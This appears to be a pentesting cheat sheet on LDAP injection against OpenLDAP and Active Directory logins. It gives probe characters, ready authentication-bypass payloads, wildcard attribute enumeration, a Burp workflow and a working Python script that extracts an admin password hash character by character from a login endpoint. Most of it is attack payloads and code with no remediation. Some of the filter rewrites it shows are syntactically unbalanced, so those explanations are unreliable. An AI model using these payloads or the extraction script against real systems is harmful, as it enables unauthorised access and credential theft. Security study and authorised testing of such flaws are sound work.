Web

LDAP Injection

LDAP injection for auth bypass and data extraction: detection via special chars, filter manipulation, wildcard extraction, blind timing, and OR-chain bypass. Covers OpenLDAP and Active Directory LDAP query injection.

What is LDAP Injection

LDAP queries filter directory objects using expressions like (uid=alice). When user input is concatenated into the filter string unsanitised, an attacker can rewrite the filter to bypass authentication, enumerate users, or extract sensitive attributes.


Detection

Step 1 — Inject special LDAP characters

In Burp Repeater, inject each of these into login/search parameters one at a time:

*
)(
*(
))
*()|%26'
\x00
\28 \29

A changed response (error, empty result, or unexpected success) indicates the input reaches an LDAP query.

Step 2 — Wildcard test

Submit * as the username:

username=*&password=anything

If login succeeds → the LDAP filter uses (uid=*) which matches every user → wildcard injection confirmed.

Step 3 — Boolean condition test

username=admin)(&)
username=admin)(|(password=*

If login behaviour changes → filter manipulation confirmed.


Authentication Bypass

Wildcard auth bypass

username=*&password=*

LDAP filter becomes: (&(uid=*)(userPassword=*)) — matches the first user with any password.

Close-and-always-true

username=admin)(&)

Filter becomes: (&(uid=admin)(&))(anything) — the inner (&) is always true.

username=*)((|
password=pwd

Filter becomes: (&(uid=*))((|(userPassword=pwd)) — matches all users.

OR injection

username=admin)(|(uid=*

Filter becomes: (&(uid=admin)(|(uid=*)(password=x)) — returns admin regardless of password.


Data Extraction — Blind (Character by Character)

If login returns success/fail but no data, extract attribute values one character at a time using wildcards.

Extract the admin password hash character by character (test each prefix):

username=admin)(userPassword=a*
username=admin)(userPassword=b*
...
username=admin)(userPassword=p*    ← success → starts with 'p'
username=admin)(userPassword=pa*
username=admin)(userPassword=pb*
...

Automate:

import requests

chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*'
found = ''

while True:
    for c in chars:
        payload = f'admin)(userPassword={found}{c}*'
        r = requests.post('http://TARGET/login',
                          data={'username': payload, 'password': 'x'})
        if 'Welcome' in r.text:
            found += c
            print(f'Found so far: {found}')
            break
    else:
        break

print(f'Password: {found}')

Attribute Enumeration

Extract arbitrary LDAP attributes by injecting them into the filter:

username=*)(mail=a*
username=*)(mail=b*

Enumerate users by extracting the cn attribute:

username=*)(cn=a*
username=*)(cn=b*

Active Directory LDAP Injection

AD uses LDAP with slightly different attribute names:

StandardActive Directory
uidsAMAccountName
userPasswordunicodePwd (not directly readable)
cncn
mailmail
memberOfmemberOf

Bypass AD login:

username=*)(&
password=anything

Filter becomes: (&(sAMAccountName=*)(&)(userPassword=anything)) — may match any user.


LDAP Special Characters Reference

CharacterMeaningInject to
*WildcardMatch anything
( )Group filterOpen/close new filter condition
|OR operatorAdd alternative condition
&AND operatorAdd mandatory condition
!NOT operatorNegate condition
\00Null byteTruncate filter

Burp Suite workflow

  1. Proxy — intercept login and search requests.
  2. Repeater — inject *, )(, *()|%26 into username and password fields.
  3. Intruder — charset brute-force for blind extraction (a-z, A-Z, 0-9, special chars).
  4. Scanner — active scan detects LDAP injection patterns automatically.
  5. Look for different response lengths/content when wildcard matches vs doesn’t — that’s your oracle.